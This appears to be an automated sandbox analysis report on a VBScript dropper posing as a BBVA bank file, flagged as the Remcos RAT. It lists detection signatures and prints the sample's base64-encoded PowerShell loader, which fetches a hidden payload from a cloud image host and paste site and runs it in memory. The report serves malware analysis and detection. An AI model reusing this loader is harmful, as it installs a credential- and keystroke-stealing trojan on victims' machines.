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Windows
Analysis Report
BBVA S.A..vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Command shell drops VBS files
Connects to a pastebin service (likely for C&C)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Installs a global keyboard hook
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: AspNetCompiler Execution
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 3556 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\BBVA S.A..vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 3704 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $concessio naries = ' aWYgKCRudW xsIC1uZSAk UFNWZXJzaW 9uVGFibGUg LWFuZCAkUF NWZXJzaW9u VGFibGUuUF NWZXJzaW9u IC1uZSAkbn VsbCkgeyBb dm9pZF0kUF NWZXJzaW9u VGFibGUuUF NWZXJzaW9u IH0gZWxzZS B7IFdyaXRl LU91dHB1dC AnUG93ZXJT aGVsbCB2ZX JzaW9uIE5v dCBhdmFpbG FibGUnIH07 aWYgKCRudW xsIC1uZSAk UFNWZXJzaW 9uVGFibGUg LWFuZCAkUF NWZXJzaW9u VGFibGUuUF NWZXJzaW9u IC1uZSAkbn VsbCkgeyBb dm9pZF0kUF NWZXJzaW9u VGFibGUuUF NWZXJzaW9u IH0gZWxzZS B7IFdyaXRl LU91dHB1dC AnUG93ZXJT aGVsbCB2ZX JzaW9uIE5v dCBhdmFpbG FibGUnIH07 JHVubWF0ZX JuYWxseSA9 ICdodHRwcz ovL3Jlcy5j bG91ZGluYX J5LmNvbS9k enZhaTg2dW gvaW1hZ2Uv dXBsb2FkL3 YxNzM0MzE1 MjQ0L20zZ3 RicWt0dm5v Y3l2bTQxMG FhLmpwZyc7 JGJhZG1pbn RvbiA9IE5l dy1PYmplY3 QgU3lzdGVt Lk5ldC5XZW JDbGllbnQ7 JHJvYWRtYW tlciA9ICRi YWRtaW50b2 4uRG93bmxv YWREYXRhKC R1bm1hdGVy bmFsbHkpOy RQaXNjZXMg PSBbU3lzdG VtLlRleHQu RW5jb2Rpbm ddOjpVVEY4 LkdldFN0cm luZygkcm9h ZG1ha2VyKT skY2Fwcmlm aWN1cyA9IC c8PEJBU0U2 NF9TVEFSVD 4+JzskYmly dGhlcnMgPS AnPDxCQVNF NjRfRU5EPj 4nOyRkaXNw b3NlZGx5ID 0gJFBpc2Nl cy5JbmRleE 9mKCRjYXBy aWZpY3VzKT skcGljdHVy ZSA9ICRQaX NjZXMuSW5k ZXhPZigkYm lydGhlcnMp OyRkaXNwb3 NlZGx5IC1n ZSAwIC1hbm QgJHBpY3R1 cmUgLWd0IC RkaXNwb3Nl ZGx5OyRkaX Nwb3NlZGx5 ICs9ICRjYX ByaWZpY3Vz Lkxlbmd0aD skYmVlZnN0 ZWFrID0gJH BpY3R1cmUg LSAkZGlzcG 9zZWRseTsk cmV0YXBpbm cgPSAkUGlz Y2VzLlN1Yn N0cmluZygk ZGlzcG9zZW RseSwgJGJl ZWZzdGVhay k7JGRpcmVj dGlvbnMgPS Atam9pbiAo JHJldGFwaW 5nLlRvQ2hh ckFycmF5KC kgfCBGb3JF YWNoLU9iam VjdCB7ICRf IH0pWy0xLi 4tKCRyZXRh cGluZy5MZW 5ndGgpXTsk YmVpbGQgPS BbU3lzdGVt LkNvbnZlcn RdOjpGcm9t QmFzZTY0U3 RyaW5nKCRk aXJlY3Rpb2 5zKTskbG93 ZXJjYXNlZC A9IFtTeXN0 ZW0uUmVmbG VjdGlvbi5B c3NlbWJseV 06OkxvYWQo JGJlaWxkKT skcm9vbWls eSA9IFtkbm xpYi5JTy5I b21lXS5HZX RNZXRob2Qo J1ZBSScpOy Ryb29taWx5 Lkludm9rZS gkbnVsbCwg QCgnMC9QWH JVSS9yL2Vl LmV0c2FwLy 86c3B0dGgn LCAnbXVkd2 VlZCcsICdt dWR3ZWVkJy wgJ211ZHdl ZWQnLCAnYX NwbmV0X2Nv bXBpbGVyJy wgJ211ZHdl ZWQnLCdtdW R3ZWVkJywn bXVkd2VlZC csJ2hhZW1h dGFjaG9tZX RlcicsICdD OlxQcm9ncm FtRGF0YVwn LCdoYWVtYX RhY2hvbWV0 ZXInLCd2Yn MnLCcxJywn MScsJ1Rhc2 tOYW1lJykp O2lmICgkbn VsbCAtbmUg JFBTVmVyc2 lvblRhYmxl IC1hbmQgJF BTVmVyc2lv blRhYmxlLl BTVmVyc2lv biAtbmUgJG 51bGwpIHsg W3ZvaWRdJF BTVmVyc2lv blRhYmxlLl BTVmVyc2lv biB9IGVsc2 UgeyBXcml0 ZS1PdXRwdX QgJ1Bvd2Vy U2hlbGwgdm Vyc2lvbiBO b3QgYXZhaW xhYmxlJyB9 O2lmICgkbn VsbCAtbmUg JFBTVmVyc2 lvblRhYmxl IC1hbmQgJF BTVmVyc2lv blRhYmxlLl BTVmVyc2lv biAtbmUgJG 51bGwpIHsg W3ZvaWRdJF BTVmVyc2lv blRhYmxlLl BTVmVyc2lv biB9IGVsc2 UgeyBXcml0 ZS1PdXRwdX QgJ1Bvd2Vy U2hlbGwgdm Vyc2lvbiBO b3QgYXZhaW xhYmxlJyB9 Ow==';$neu rologicall y = [Syste m.Text.Enc oding]::UT F8.GetStri ng([System .Convert]: :FromBase6 4String($c oncessiona